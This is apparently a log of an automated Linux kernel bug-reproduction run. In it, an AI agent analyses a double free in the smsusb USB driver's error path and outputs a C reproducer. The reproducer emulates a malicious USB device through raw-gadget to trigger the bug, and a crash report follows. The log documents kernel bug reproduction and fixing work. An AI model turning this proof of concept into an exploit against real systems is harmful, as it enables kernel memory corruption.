6771:	void kfree(const void *object)
6772:	{
6773:		struct page *page;
6774:		struct slab *slab;
6775:		struct kmem_cache *s;
6776:		void *x = (void *)object;
6777:	
6778:		trace_kfree(_RET_IP_, object);
6779:	
6780:		if (unlikely(ZERO_OR_NULL_PTR(object)))
6781:			return;
6782:	
6783:		page = virt_to_page(object);
6784:		slab = page_slab(page);
6785:		if (!slab) {
6786:			/* kmalloc_nolock() doesn't support large kmalloc */
6787:			free_large_kmalloc(page, (void *)object);
6788:			return;
6789:		}
6790:	
6791:		s = slab->slab_cache;
6792:		slab_free(s, slab, x, _RET_IP_);
6793:	}
 SourceFile:mm/slub.c]

252/4 2026/09/04 10:41 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41365
							output: 24
							thoughts: 133
						

Thoughts:
**My Thought Process Unraveling `kmalloc` Deallocation**

Right, so I'm looking at this code snippet, and my first instinct is to trace the flow of what's happening when an object allocated via `kmalloc` is being freed. The line `page = virt_to_page(object);` immediately tells me that the core operation here is identifying the physical page that the provided `object` pointer resides within. This is a fundamental step in memory management, bridging the virtual address space to the physical hardware.

Next, the code proceeds to `slab = page_slab(page);`. Now, this is where things get interesting, and I'm already considering the nuances. I know that `page_slab` is intended to tell me which slab the `page` belongs to. However, my expertise kicks in, and I immediately recognize a critical edge case: what if this `page` isn't the *head* page of a compound page, but rather a *tail* page? In such scenarios, `page_slab` might very well return `NULL`. This could happen if it can't resolve back to the head page, or, perhaps more importantly for this context, if the *actual* head page of that compound page isn't itself part of a slab.

And that leads me to the crucial insight: for a *large* `kmalloc` allocation, the head page is typically *not* a slab page in the traditional sense. It's more likely to be managed as a larger, contiguous chunk of memory. Therefore, if `page_slab(page)` returns `NULL` in this context, it’s a strong indicator that we're dealing with such a large allocation, and the standard slab freeing mechanisms won't apply.

This realization directly explains the subsequent call: `free_large_kmalloc(page, object)`. My understanding of the system dictates that if the initial attempt to get a slab pointer fails, the next logical step is to handle this as a special case for larger allocations. My immediate next action is to delve into the `free_large_kmalloc` function itself to understand precisely how it manages the deallocation of these larger, non-slab-backed `kmalloc` regions.


253/4 2026/09/04 10:41 tool codesearch-definition-source
0m Args:
map[Name:free_large_kmalloc]

Results:
map[SourceCode:6720:	static void free_large_kmalloc(struct page *page, void *object)
6721:	{
6722:		unsigned int order = compound_order(page);
6723:	
6724:		if (WARN_ON_ONCE(!PageLargeKmalloc(page))) {
6725:			dump_page(page, "Not a kmalloc allocation");
6726:			return;
6727:		}
6728:	
6729:		if (WARN_ON_ONCE(order == 0))
6730:			pr_warn_once("object pointer: 0x%p\n", object);
6731:	
6732:		kmemleak_free(object);
6733:		kasan_kfree_large(object);
6734:		kmsan_kfree_large(object);
6735:	
6736:		mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
6737:				      -(PAGE_SIZE << order));
6738:		__ClearPageLargeKmalloc(page);
6739:		free_frozen_pages(page, order);
6740:	}
 SourceFile:mm/slub.c]

254/4 2026/09/04 10:41 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41857
							output: 22
							thoughts: 78
						

Thoughts:
**My Thought Process**

I'm examining the behavior of the `compound_order` function when dealing with compound pages. My initial understanding is that `compound_order(page)` will correctly return the order of the head page if the given `page` is part of a compound page.

Then, my attention shifts to `PageLargeKmalloc(page)`, which I know checks the `PG_large_kmalloc` flag. A crucial question arises: if the `page` I'm currently inspecting is a tail page within a compound structure, does `PageLargeKmalloc` implicitly check the flag on the *head page* rather than the tail page itself? This distinction is critical for understanding the function's scope and how it handles compound memory allocations. To clarify this, I need to delve deeper into the implementation of `PageLargeKmalloc`.


255/4 2026/09/04 10:41 tool codesearch-definition-source
0m Args:
map[Name:PageLargeKmalloc]

Results:
map[SourceCode:1042:	PAGE_TYPE_OPS(LargeKmalloc, large_kmalloc, large_kmalloc)
 SourceFile:include/linux/page-flags.h]

256/4 2026/09/04 10:41 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 42000
							output: 671
							thoughts: 4610
						

Thoughts:
**The Underlying Bug: A Double Free on Interior Pointers**

My investigation into this crash has revealed a critical bug related to how we handle large memory allocations and URB (USB Request Block) buffers, specifically within the `smsusb` driver. The core of the problem lies in a race condition and a misunderstanding of buffer management, leading to a double-free or an invalid-free scenario.

Initially, I was looking at a `WARN_ON_ONCE(!PageLargeKmalloc(page))` message. My thought process went like this: This warning signifies that a page flagged as a "large kmalloc" is no longer recognized as such when `free_large_kmalloc` is called. Why would this happen?

I recalled that `PAGE_TYPE_OPS` functions, like `PageLargeKmalloc`, operate on the exact page passed to them unless they explicitly call `compound_head`. I also remembered that the `page_type` is stored within the `page->page_type` field. For tail pages of a compound page, their `page_type` is often `~0` or used for other purposes, meaning `PageLargeKmalloc(page)` on a tail page would typically return `FALSE`.

This led me to the realization that the warning `WARN_ON_ONCE(!PageLargeKmalloc(page))` would trigger if `virt_to_page(object)` returned a tail page from a large kmalloc allocation. The reason `virt_to_page(object)` would return a tail page is if `object` is an interior pointer into the large kmalloc'd buffer. And indeed, that's precisely what was happening: `free_large_kmalloc` was being called with a tail page derived from an interior pointer.

My reproducer then perfectly illustrated this: `usb_free_urb` was called with an interior pointer (`surb->cb->p`, which is `common_buffer + offset`) of a large kmalloc'd `common_buffer`. If this interior pointer wasn't the very first buffer segment (which would be the head page), `PageLargeKmalloc(tail_page)` would be false, triggering the warning.

Even if it *was* the head page (`i=0`), I discovered a crucial detail: `smscore_unregister_device` had *already* freed `common_buffer` earlier in the error path. When `common_buffer` is freed, `__ClearPageLargeKmalloc(page)` is called, clearing that flag. So, even for the head page, `PageLargeKmalloc(page)` would now be `FALSE`, causing the warning. This perfectly explained why my reproducer was hitting this warning for both head and tail pages – it was a double-free scenario.

Then, I turned my attention to the original KASAN report: `BUG: KASAN: invalid-free in urb_destroy`. The key puzzle piece here was why KASAN reported it as a `kmalloc-4k` object. I reasoned that KASAN intercepts `kfree` very early. I checked the `kfree` implementation and saw that it calls `free_large_kmalloc` if `slab` is NULL. However, KASAN's hook (`kasan_kfree_large`) is inside `free_large_kmalloc`.

The original KASAN report's stack trace, however, showed a path through `slab_free_hook` and `slab_free`, indicating that `slab` was *not* NULL. This meant `page_slab(page)` returned a valid slab. How could this happen for `common_buffer`?

This led me to a critical insight: the original crash occurred because `ffff888058ab1000` (the interior pointer) *was* actually a slab page by the time `kfree` was called. Why? Because after `smscore_unregister_device` freed the large kmalloc'd `common_buffer`, its pages were returned to the page allocator. In the original scenario, *another subsystem* (like `net/core/skbuff.c`) had subsequently allocated a `kmalloc-4k` slab page, and the allocator had reused one of those pages (e.g., `ffff888058ab0000`) for it.

When `usb_free_urb` was called with `ffff888058ab1000` in the original crash, `virt_to_page` pointed to a tail page of this now-repurposed SLUB compound page. For SLUB, tail pages of a compound page all resolve to the head page's slab. Therefore, `page_slab(page)` returned the slab, `kfree` treated it as a slab object, and it went through `slab_free`. KASAN then intercepted this in `slab_free_hook`. It correctly identified it as an invalid free because `ffff888058ab1000` was not the start of a valid `skb` object within that slab; it was an interior pointer into the *original* `common_buffer` that was now being freed again. This perfectly explained the KASAN `invalid-free` report.

**The Sequence of Events:**

*   **Original Crash (KASAN Invalid-Free):**
    1.  `smsusb_init_device` allocates `common_buffer` (large kmalloc).
    2.  `smsusb_submit_urb` sets `urb->transfer_buffer` to an interior pointer of `common_buffer` and sets `URB_FREE_BUFFER`.
    3.  `usb_submit_urb` fails.
    4.  Error path: `smsusb_term_device` calls `smscore_unregister_device`, which frees `common_buffer`. Pages are returned to the page allocator.
    5.  **Race Window:** Another thread (e.g., `netdevsim`) allocates an `skb`, reusing one of `common_buffer`'s freed pages as a `kmalloc-4k` SLAB page.
    6.  Error path continues: `smsusb_term_device` calls `usb_free_urb`.
    7.  `usb_free_urb` calls `kfree` on the interior pointer.
    8.  `kfree` sees it's a SLAB page, calls `slab_free`.
    9.  KASAN intercepts and reports an invalid free because the pointer is an interior/invalid one for that SLAB object.

*   **Reproducer Crash (WARN_ON_ONCE):**
    1.  `smsusb_init_device` allocates `common_buffer` (large kmalloc).
    2.  `smsusb_submit_urb` sets `urb->transfer_buffer` to an interior pointer of `common_buffer` and sets `URB_FREE_BUFFER`.
    3.  `usb_submit_urb` fails.
    4.  Error path: `smsusb_term_device` calls `smscore_unregister_device`, which frees `common_buffer`. Pages are returned to the page allocator.
    5.  **No Race:** The freed pages are *not* reallocated as a SLAB page before the next step.
    6.  Error path continues: `smsusb_term_device` calls `usb_free_urb`.
    7.  `usb_free_urb` calls `kfree` on the interior pointer.
    8.  `kfree` sees it's *not* a SLAB page, calls `free_large_kmalloc`.
    9.  `free_large_kmalloc` checks `PageLargeKmalloc`, which is now `FALSE` because the page was already freed. This triggers the `WARN_ON_ONCE`.

In essence, both scenarios are hitting the same root cause: `smscore_unregister_device` frees `common_buffer`, and then `usb_free_urb` attempts to free an interior pointer of that buffer again because the `URB_FREE_BUFFER` flag was set. The difference in crash signatures is simply due to whether the freed pages were reallocated as a SLAB object in the interim. Therefore, my reproducer successfully triggered the target bug.


257/4 2026/09/04 10:42 tool set-results
0m Args:
map[Feedback:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. ProbePassed:false TerminalError: TitleMatches:true]

Results:
map[Feedback:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. ProbePassed:false TerminalError: TitleMatches:true]

258/3 2026/09/04 10:42 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. OracleFeedback:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. ReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING in usb_free_urb ReproducedCrashReport:smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
